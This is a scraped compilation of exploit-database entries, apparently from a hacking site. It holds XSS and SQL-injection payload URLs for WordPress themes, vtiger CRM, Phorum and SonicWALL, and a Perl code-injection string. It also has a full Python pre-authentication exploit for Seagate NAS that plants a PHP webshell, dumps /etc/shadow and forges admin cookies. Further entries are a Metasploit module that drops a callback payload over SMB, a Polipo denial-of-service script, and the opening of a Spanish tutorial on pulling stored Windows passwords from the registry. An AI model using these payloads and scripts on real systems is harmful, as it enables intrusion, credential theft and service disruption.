source: https://www.securityfocus.com/bid/49895/info ProjectForum is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. ProjectForum 7.0.1.3038 is vulnerable; other versions may also be affected. http://www.example.com/<IMG """><SCRIPT>alert("Vulnerable")</SCRIPT>">
HireHackking

WordPress Theme Trending 0.1 - 'cpage' Cross-Site Scripting

source: https://www.securityfocus.com/bid/49896/info The Trending theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Versions prior to Trending theme 0.2 are vulnerable. http://www.exmaple.com/?p=8&cpage=[xss]
HireHackking

Perl 5.x - Digest Module 'Digest->new()' Code Injection

source: https://www.securityfocus.com/bid/49911/info The Digest module for Perl is prone to a vulnerability that will let attackers inject and execute arbitrary Perl code. Remote attackers can exploit this issue to run arbitrary code in the context of the affected application. Digest versions prior to 1.17 are affected. Digest->new("::MD5lprint 'ownaide\n';exit(1);");
HireHackking

Netvolution 2.5.8 - 'referer' Header SQL Injection

source: https://www.securityfocus.com/bid/49918/info Netvolution is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Netvolution 2.5.8 is vulnerable; other versions may also be affected. The following example input is available: Referer: 1','0'); [SQL]
HireHackking

Seagate Business NAS 2014.00319 - Remote Code Execution

#!/usr/bin/env python # # Seagape # ======= # Seagate Business NAS pre-authentication remote code execution # exploit as root user. # # by OJ Reeves (@TheColonial) - for full details please see # https://beyondbinary.io/advisory/seagate-nas-rce/ # # Usage # ===== # seagape.py <ip> <port> [-c [ua]] # # - ip : ip or host name of the target NAS # - port : port of the admin web ui # - -c : (optional) create a cookie which will give admin access. # Not specifying this flag results in webshell installation. # - ua : (optional) the user agent used by the browser for the # admin session (UA must match the target browser). # Default value is listed below # # Example # ======= # Install and interact with the web shell: # seagape.py 192.168.0.1 80 # # Create admin cookie # seagape.py 192.168.0.1 80 -c import base64 import hashlib import itertools import os import re import socket import sys import urllib import urllib2 import uuid import xml.sax.saxutils if len(sys.argv) < 3: print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0]) sys.exit(1) # Every Seagate nas has the same XOR key. Great. XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07' # This is the User agent we'll use for most of the requests DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' # This is the description we're going to be reading from LFI_FILE = '/etc/devicedesc' # the base globals that will hold our state host = sys.argv[1] port = int(sys.argv[2]) cis = '' hostname = '' webshell = str(uuid.uuid1()) + ".php" def chunks(s, n): for i in xrange(0, len(s), n): yield s[i:i + n] def forward_interleave(a, b): return ''.join(itertools.chain(*zip(itertools.cycle(a), b))) def xor(s, k): return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k))) def sha1(s): return hashlib.sha1(s).hexdigest() def decode(s): f = xor(s, XOR_KEY) return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2)) def encode(s): s = forward_interleave(sha1(s), s) s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2)) return xor(s, XOR_KEY) def make_request(uri = "/", ci_session = None, headers = None, post_data = None): method = 'GET' if not headers: headers = {} headers['Host'] = host if 'User-Agent' not in headers: headers['User-Agent'] = DEFAULT_UA if 'Accept' not in headers: headers['Accept'] = 'text/html' if post_data: method = 'POST' post_data = urllib.urlencode(post_data) headers['Content-Type'] = 'application/x-www-form-urlencoded' if ci_session: ci_session = urllib.quote(base64.b64encode(encode(ci_session))) headers['Cookie'] = 'ci_session={0}'.format(ci_session) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) http = "" http += "{0} {1} HTTP/1.1\r\n".format(method, uri) for h in headers: http += "{0}: {1}\r\n".format(h, headers[h]) if post_data: http += "Content-Length: {0}\r\n".format(len(post_data)) http += "\r\n" if post_data: http += post_data s.send(http) result = "" while True: data = s.recv(1024) if not data: break result += data s.close() return result def get_ci_session(): resp = make_request() for l in resp.split("\r\n"): m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l) for name, value in m: if name == 'ci_session' and len(value) > 40: return decode(base64.b64decode(urllib.unquote(value))) print "Unable to establish session with {0}".format(host) sys.exit(1) def add_string(ci_session, key, value): prefix = 's:{0}:"{1}";s:'.format(len(key), key) if prefix in ci_session: ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session) else: # doesn't exist, so we need to add it to the start and the end. count = int(ci_session.split(':')[1]) + 1 ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session) return ci_session def set_admin(ci_session): return add_string(ci_session, "is_admin", "yes") def set_language(ci_session, lang): return add_string(ci_session, "language", lang) def include_file(ci_session, file_path): if file_path[0] == '/': file_path = '../../../../../..' + file_path return set_language(ci_session, file_path + "\x00") def read_file(file_path, post_data = None): resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data) return resp def hashdump(): shadow = read_file('/etc/shadow') for l in shadow.split("\n"): if l and ':!:' not in l and ':x:' not in l: parts = l.split(':') print "{0}:{1}".format(parts[0], parts[1]) def cmd(command): headers = { 'Content-Type' : 'application/x-www-form-urlencoded', 'Accept' : '*/*', 'User-Agent' : DEFAULT_UA } post_data = urllib.urlencode({'c' : command}) headers['Content-Type'] = 'application/x-www-form-urlencoded' ci_session = urllib.quote(base64.b64encode(encode(cis))) headers['Cookie'] = 'ci_session={0}'.format(ci_session) url = 'http://{0}:{1}/{2}'.format(host, port, webshell) req = urllib2.Request(url, headers = headers, data = post_data) return urllib2.urlopen(req).read() def shell(): running = True while running: c = raw_input("Shell ({0}) $ ".format(post_id)) if c != 'quit' and c != 'exit': cmd(c) else: running = False def show_admin_cookie(user_agent): ci_session = add_string(cis, 'is_admin', 'yes') ci_session = add_string(ci_session, 'username', 'admin') ci_session = add_string(ci_session, 'user_agent', user_agent) ci_session = urllib.quote(base64.b64encode(encode(ci_session))) print "Session cookies are bound to the browser's user agent." print "Using user agent: " + user_agent print "ci_session=" + ci_session def show_version(): print "Firmware Version: {0}".format(get_firmware_version()) def show_cookie(): print cis def show_help(): print "" print "Seagape v1.0 -- Interactive Seagate NAS Webshell" print " - OJ Reeves (@TheColonial) - https://beyondbinary.io/" print " - https://beyondbinary.io/bbsec/001" print "===========================================================================" print "version - Print the current firmware version to screen." print "dumpcookie - Print the current cookie to screen." print "admincookie <ua> - Create an admin login cookie (ua == user agent string)." print " Add to your browser and access ANY NAS box as admin." print "help - Show this help." print "exit / quit - Run for the hills." print "<anything else> - Execute the command on the server." print "" def execute(user_input): result = True parts = user_input.split(' ') c = parts[0] if c == 'admincookie': ua = DEFAULT_UA if len(parts) > 1: ua = ' '.join(parts[1:]) show_admin_cookie(ua) elif c == 'dumpcookie': show_cookie() elif c == 'version': show_version() elif c == 'help': show_help() elif c == 'quit' or c == 'exit': remove_shell() result = False else: print cmd(user_input) return result def get_firmware_version(): resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043", ci_session = acis) return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2] def install_shell(): resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043", ci_session = acis) existing_setup = '' for l in resp.split("\r\n"): if 'general_setup' in l: existing_setup = l break # generate the shell and its installer exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>") installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post) write_php = xml.sax.saxutils.quoteattr(installer)[1:-1] start = existing_setup.index('" description="') + 15 end = existing_setup.index('"', start) updated_setup = existing_setup[0:start] + write_php + existing_setup[end:] # write the shell to the description resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043", ci_session = acis, headers = { }, post_data = { 'general_setup' : updated_setup }) # invoke the installer read_file(LFI_FILE) # remove the installer resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043", ci_session = acis, headers = { }, post_data = { 'general_setup' : existing_setup }) def remove_shell(): return cmd('rm -f {0}'.format(webshell)) print "Establishing session with {0} ...".format(host) cis = get_ci_session() if len(sys.argv) >= 4 and sys.argv[3] == '-c': ua = DEFAULT_UA if len(sys.argv) > 4: ua = sys.argv[4] show_admin_cookie(ua) else: print "Configuring administrative access ..." acis = add_string(cis, 'is_admin', 'yes') acis = add_string(acis, 'username', 'admin') print "Installing web shell (takes a while) ..." install_shell() print "Extracting id and hostname ..." identity = cmd('whoami').strip() hostname = cmd('cat /etc/hostname').strip() show_help() running = True while running: try: user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname)) running = execute(user_input) except: print "Something went wrong. Try again."
HireHackking
source: https://www.securityfocus.com/bid/49927/info vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. /phprint.php?module=Home&action=--><script>alert(/xss/)</script>&parenttab=MyHome Page"><script>alert(0)</script>&jt= /phprint.php?module=--><script>alert(/xss/)</script>&action=index&parenttab=My%20Home%20Page&jt=
HireHackking
# Exploit Title: Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability # Date: 2014-10-01 # Exploit Author: Ben Turner # Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/ # Version: 7.9, 8.1, 9.0, 9.1 # Tested on: Windows XP, Windows 7, Server 2003 and Server 2008 # CVE-2015-1497 # CVSS: 10 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::EXE include Msf::Auxiliary::Report # Aliases for common classes SIMPLE = Rex::Proto::SMB::Client XCEPT = Rex::Proto::SMB::Exceptions CONST = Rex::Proto::SMB::Constants def initialize super( 'Name' => 'Persistent Systems Client Automation (PSCA, formerly HPCA or Radia) Command Injection Remote Code Execution Vulnerability', 'Description' => %Q{ This module exploits PS Client Automation, by sending a remote service install and creating a callback payload. }, 'Author' => [ 'Ben Turner' ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10, 'EXITFUNC' => 'process' }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Platform' => ['win'], 'Targets' => [ [ 'PS Client Automation on Windows XP, 7, Server 2003 & 2008', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'January 10 2014' ) register_options([ OptString.new('SMBServer', [true, 'The IP address of the SMB server', '192.168.1.1']), OptString.new('SMBShare', [true, 'The root directory that is shared', 'share']), Opt::RPORT(3465), ], self.class) end def exploit createservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" createservice << "Nvdkit.exe service install test -path \"c:\\windows\\system32\\cmd.exe /c \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe\"" createservice << "\x22\x00\x00\x00" startservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" startservice << "Nvdkit service start test" startservice << "\x22\x00\x00\x00" removeservice = "\x00\x24\x4D\x41\x43\x48\x49\x4E\x45\x00\x20\x20\x20\x20\x20\x20\x20\x20\x00" removeservice << "Nvdkit service remove test" removeservice << "\x22\x00\x00\x00" def filedrop() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Generating payload, dropping here: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\installservice.exe'...") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") exe = generate_payload_exe fd = smb_open("\\installservice.exe", 'rwct') fd << exe fd.close self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end def filetest() begin origrport = self.datastore['RPORT'] self.datastore['RPORT'] = 445 origrhost = self.datastore['RHOST'] self.datastore['RHOST'] = self.datastore['SMBServer'] connect() smb_login() print_status("Checking the remote share: \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") self.simple.connect("\\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}") file = "\\installservice.exe" filetest = smb_file_exist?(file) if filetest print_good("Found, upload was succesful! \\\\#{datastore['SMBServer']}\\#{datastore['SMBShare']}\\#{file}\n") else print_error("\\\\#{datastore['SMBServer']}\\#{file} - The file does not exist, try again!") end self.datastore['RPORT'] = origrport self.datastore['RHOST'] = origrhost rescue Rex::Proto::SMB::Exceptions::Error => e print_error("File did not exist, or could not connect to the SMB share: #{e}\n\n") abort() end end begin filedrop() filetest() connect() sock.put(createservice) print_status("Creating the callback payload and installing the remote service") disconnect sleep(5) connect() sock.put(startservice) print_good("Exploit sent, awaiting response from service. Waiting 15 seconds before removing the service") disconnect sleep(30) connect sock.put(removeservice) disconnect rescue ::Exception => e print_error("Could not connect to #{datastore['RHOST']}:#{datastore['RPORT']}\n\n") abort() end end end
HireHackking
source: https://www.securityfocus.com/bid/49879/info The Black-LetterHead theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. Black-LetterHead theme 1.5 is vulnerable; prior versions may also be affected. http://www.example.com/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=69566599%3C/ScRiPt%3E/t Post Request:s=1&
HireHackking
 Ubisoft Uplay 5.0 Insecure File Permissions Local Privilege Escalation Vendor: Ubisoft Entertainment S.A. Product web page: http://www.ubi.com Affected version: 5.0.0.3914 (PC) Summary: Uplay is a digital distribution, digital rights management, multiplayer and communications service created by Ubisoft to provide an experience similar to the achievements/trophies offered by various other game companies. - Uplay PC is a desktop client which replaces individual game launchers previously used for Ubisoft games. With Uplay PC, you have all your Uplay enabled games and Uplay services in the same place and you get access to a whole new set of features for your PC games. Desc: Uplay for PC suffers from an elevation of privileges vulnerability which can be used by a simple user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the 'F' flag (Full) for 'Users' group, making the entire directory 'Ubisoft Game Launcher' and its files and sub-dirs world-writable. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5230 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5230.php Vendor: http://forums.ubi.com/forumdisplay.php/513-Uplay 19.02.2015 -- C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>cacls Uplay.exe C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\Uplay.exe BUILTIN\Users:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F test-PC\yousir:(ID)F C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher>
HireHackking

WordPress Theme RedLine 1.65 - 's' Cross-Site Scripting

source: https://www.securityfocus.com/bid/49880/info The RedLine theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. RedLine theme prior to 1.66 are vulnerable. http://www.example.com/?s="%20%3e%3c/link%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e
HireHackking
source: https://www.securityfocus.com/bid/49893/info The WP Bannerize plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. WP Bannerize 2.8.7 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/wp-bannerize/ajax_sorter.phplimit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
HireHackking

SonicWALL Viewpoint 6.0 - 'scheduleID' SQL Injection

source: https://www.securityfocus.com/bid/49906/info SonicWall Viewpoint is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Viewpoint 6.0 SP2 is vulnerable; other versions may also be affected. https://www.example.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20%28 select%20case%20when%20%281=1%29%20%20then%201%20else%201*%28select%20table_name%20from%20information_schema.tables%29end%29=1
HireHackking

ezCourses - 'admin.asp' Security Bypass

source: https://www.securityfocus.com/bid/49907/info ezCourses is prone to a security-bypass vulnerability because it fails to properly validate user-supplied input. Attackers could exploit the issue to bypass certain security restrictions and add or change the 'admin' account password. http://www.example.com//ezCourses/admin/admin.asp?cmd=edit_admin&AdminID=1&Master=Master http://www.example.com/ezCourses/admin/admin.asp?cmd=add_admin&AdminID=1
HireHackking
source: https://www.securityfocus.com/bid/49908/info Polipo is prone to a denial-of-service vulnerability. Remote attackers can exploit this issue to cause the application to crash, denying service to legitimate users. Polipo 1.0.4.1 is vulnerable; other versions may also be affected. #!/usr/bin/perl # POLIPO 1.0.4.1 Denial Of Service # Disclaimer: # [This code is for Educational Purposes , I would Not be responsible for any misuse of this code] # Author: Usman Saeed # Company: Xc0re Security Research Group # Website: http://www.xc0re.net # DATE: [30/09/11] $host = $ARGV[0]; $PORT = $ARGV[1]; $evil = "PUT / HTTP/1.1\r\n". "Content-Length:1\r\n\r\n"; use IO::Socket::INET; if (! defined $ARGV[0]) { print "+========================================================+\n"; print "+ Program [POLIPO 1.0.4.1 Denial Of Service] +\n"; print "+ Author [Usman Saeed] +\n"; print "+ Company [Xc0re Security Research Group] +\n"; print "+ DATE: [30/09/11] +\n"; print "+ Usage :perl sploit.pl webserversip wbsvrport +\n"; print "+ Disclaimer: [This code is for Educational Purposes , +\n"; print "+ I would Not be responsible for any misuse of this code]+\n"; print "+========================================================+\n"; exit; } $sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr => $host , PeerPort => $PORT) || die "Cant connect to $host!"; print "+========================================================+\n"; print "+ Program [POLIPO 1.0.4.1 Denial Of Service] +\n"; print "+ Author [Usman Saeed] +\n"; print "+ Company [Xc0re Security Research Group] +\n"; print "+ DATE: [30/09/11] +\n"; print "+ Usage :perl sploit.pl webserversip wbsvrport +\n"; print "+ Disclaimer: [This code is for Educational Purposes , +\n"; print "+ I would Not be responsible for any misuse of this code]+\n"; print "+========================================================+\n"; print "\n"; print "[*] Initializing\n"; sleep(2); print "[*] Sendin evil Packet Buhahahahaha \n"; send ($sock , $evil , 0); print "[*] Crashed :) \n"; $res = recv($sock,$response,1024,0); print $response; exit;
HireHackking

Phorum 5.2.18 - '/admin/index.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/49920/info Phorum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. Phorum 5.2.18 is vulnerable; other versions may also be affected. http://www.example.com/phorum-5.2.18/admin/"</script><script>alert(document.cookie);</script></script> http://www.example.com/phorum-5.2.18/admin/index.php"</script><script>alert(document.cookie);</script></script>
HireHackking
source: https://www.securityfocus.com/bid/49927/info vtiger CRM is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. vtiger CRM 5.2.1 is vulnerable; other versions may also be affected. /index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1&return_url="><script>alert(/XSS/)</script> /index.php?module=com_vtiger_workflow&action=editworkflow&workflow_id=1'"><script>alert(/XSS/)</script>&return_url=1 /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01aa8ed'><script>alert(/xss/)</script>e8e16680dfc&query=true&type=dbrd&owner=admin&viewname=10 /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-0189b81'><script>alert(1)</script>&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=1 /index.php?module=Calendar&action=EditView&return_module=Contacts&return_action=DetailView&activity_mode=Events&return_id=29&contact_id=><script>alert(1)</script>d3ef7f5e017&account_id=16&parenttab=Marketing /index.php?module=Potentials&action=ListView&date_closed=2006-01'><script>alert(1)</script>&sales_stage=Other&query=true&type=dbrd&owner=admin&viewname=10 /index.php?action=index&module=Calendar&view=week&hour=0&day=5%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x /index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9%27%29%22%20%20onmouseover%3d%22alert%28/XSS/)%22%20x=%22&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1 /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin%27%20onmouseover%3d%27alert(/XSS/)%27%2520x%253d%27&viewname=10 /index.php?module=Potentials&action=ListView&leadsource=--None--'><script>alert(1)</script>&query=true&type=dbrd&viewname=10 /index.php?module=Settings&action=profilePrivileges&mode=view%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&parenttab=Settings&profileid=1 /index.php?module=Calendar&action=EditView&return_module=Leads&return_action=DetailView&activity_mode=Events&return_id=37&parent_id=37"><script>alert(/XSS/)</script>&parenttab=Marketin /index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%3b}}alert(/XSS/)%3bfunction+xss(){x%3d=0;if(x){x%3d1&mode=view /index.php?module=Campaigns&searchtype=BasicSearch&search_field=campaignname&query=truef1de8%22%20onmouseover%3d%22alert%281%29%22%2007&search_text=test&action=index&parenttab=Marketing&search_cnt= /index.php?module=Potentials&action=ListView&sales_stage=Prospect'><script>alert(/XSS/)</script>x&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=dbrd&owner=admin&viewname=10 /index.php?action=ListView&module=Calendar&record=116&viewname=19&start=1371b1"%20onmouseover="alert(0)"%20a%3db%22&parenttab=My%20Home%20Page /index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&parenttab=My&onlyforuser=1 /index.php?module=Potentials&action=ListView&sales_stage=Prospecting&closingdate_start=2001-01-01&closingdate_end=2100-01-01&query=true&type=db%27%20onmouseover%3d%27javascript:alert%28/XSS/%29%27%20x=%27&owner=admin&viewname=10 /index.php?action=index&module=Calendar&view=week'%20onload%3d%22alert%28/XSS/)%22%20x=%22&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1 /index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=9&year=2010&viewOption=listview%27%29%22%20%20onload%3d%22alert%28/XSS/%29%22%20x=%22&subtab=event&parenttab=My&onlyforuser=1 /index.php?module=Calendar&action=CalendarAjax&file=ListView&ajax=changestate&viewname=10"'%20onmouseover=alert(/XSS/)%20x='&errormsg= /index.php?action=DetailView&module=Calendar&record=116&activity_mode=Task%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&parenttab=My /index.php?module=Dashboard&action=index&display_view=50%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS&pbss_edit=true /index.php?module=Reports&action=SaveAndRun&record=1&folderid=17920%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS /index.php?module=Settings&action=createnewgroup&returnaction=listgroups&parenttab=Settings&mode=edit&groupId=2%22%20%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS /index.php?module=Settings&action=createrole&roleid=H2&parenttab=Settings&mode=edit%22%20style=%22background-image:url(javascript:alert(0));width:1000px;height:1000px;display:block;%22%20x=%22XSSSSSSSS index.php?module=Settings&action=createrole&parenttab=Settings&parent=H%22%20style=%22background-image:url('javascript:alert(0)');width:1000px;height:1000px;display:block; /index.php?module=Settings&action=profilePrivileges&parenttab=Settings&profileid=1%22%20style%3dbackground%2dimage%2durl('javascript:alert(0)')%3bwidth:1000px;height:1000px;display:block;%22%20x%3d&mode=view /index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns&return_action=index"%20style%3d"x%3aexpression(alert(1))"%20x="s&parenttab=Marketing&return_viewname=29 /index.php?module=Campaigns&action=EditView&record=124&return_module=Campaigns"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&return_action=index&parenttab=Marketing&return_viewname=29 /index.php?module=Settings&action=createnewgroup&returnaction=listgroups"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Settings&mode=edit&groupId=2 /index.php?module=Settings&action=RoleDetailView&roleid=H2"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s /index.php?module=Settings&action=ModuleManager&module_update=Step1&src_module=Mobile3"%20style%3d"background-image%3aurl(javascript:alert(/XSS/))"%20x="s&parenttab=Setting /index.php?action=index&module=Calendar&view=week"%20style%3d"xss%3aexpression(alert(1))"&hour=0&day=5&month=9&year=2010&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1
HireHackking

Passwords – Privilege Escalation en Windows

Otra de las formas típicas de escalar privilegios en Windows es a través de las contraseñas. Ya sea porque algún usuario las reutiliza o porque las encontramos en texto plano en algún archivo o documento.
Windows es bastante susceptible de ser vulnerable a esto, ya que contiene muchas características las cuales almacenan información de forma no muy segura. Vamos a ver en que tipo de sitios y como nos podemos encontrar información sensible:
Índice:
Registro WinPEAS PowerSploit Save Creds Archivos de Configuración SAM y SYSTEM Referencias El entorno usado en el post se ha montado usando el script Windows-PrivEsc-Setup de Tib3rius.
Registro
Los programas suelen guardar información para su correcto funcionamiento en el registro de Windows. Así mismo, también guardan contraseñas.
Podemos hacer una búsqueda recursiva para ver si encontramos el campo «password» en algún registro con los siguientes comandos:
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s En el primer comando, buscamos recursivamente en el registro HKEY_LOCAL_MACHINE la palabra «password», en el segundo comando hacemos lo mismo pero en el registro HKEY_CURRENT_USER.
La diferencia entre estos dos registros es que HKLM contiene información de configuraciones relacionadas con el sistema operativo y el software instalado. Mientras que HKCU almacena configuraciones específicas del usuario con el que se ha iniciado la sesión.
Por lo demás, la explicación de los argumentos del comando «reg query» es la siguiente:
/f –> Se usa para indicar por la palabra a buscar, por eso, va acompañada de password (/f <palabra>), ya que es lo que queremos buscar. /t –> Especificamos el tipo de registro (/f <tipo de registro>), en este caso como podemos ver, indicamos REG_SZ, aunque las diferentes opciones son: REG_MULTI_SZ, REG_EXPAND_SZ, REG_DWORD, REG_BINARY, REG_NONE. Si no se especifica ninguna, busca por todas. En nuestro caso, REG_SZ corresponde con una cadena de texto de longitud fija. /s –> Indicamos que se consulte a todas las subclaves y nombres de valores de forma recursiva. Aquí una imagen que explica que es cada cosa: Estos dos comandos suelen generar una gran salida. Por lo que a menudo, en vez de hacer esto, se suele mirar previamente en sitios comunes, como por ejemplo winlogon. Winlogon es un componente de los sistemas Windows el cual, entre otras cosas, se encarga del inicio de sesión automático.
Para que se produzca un inicio de sesión automático, las credenciales se tienen que almacenar en algún sitio, y este no es otro que el registro. De hecho, Microsoft proporciona un tutorial oficial de como activar el inicio de sesión automático añadiendo tus credenciales al registro en texto plano, aquí tenéis la fuente.
Por lo que algo típico, es comprobar si hay credenciales almacenadas en el registro de winlogon, de forma manual se podría hacer de la siguiente forma:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
Como vemos, en este caso, obtenemos las credenciales al tener configurado el inicio de sesión automático en el equipo.
No nos lista el mismo resultado, la razón de esto la podéis ver en este enlace (otro recurso a echarle un vistazo es a la propia documentación oficial de Microsoft, en este caso, al Redirector del Registro). A lo que quiero llegar, es que hay que tener cuidado con este tipo de cosas.
Dicho esto, este es uno de los sitios típicos para buscar credenciales almacenadas, también es muy recomendable echar un vistazo si el equipo tiene programas como Putty, WinSCP, o algún navegador como Mozilla (entre otros) instalados. Ya que estos, también pueden contener credenciales almacenadas de alguna sesión. En cualquier caso, existen herramientas que nos pueden automatizar la enumeración y extracción de credenciales, como por ejemplo, WinPEAS.
WinPEAS
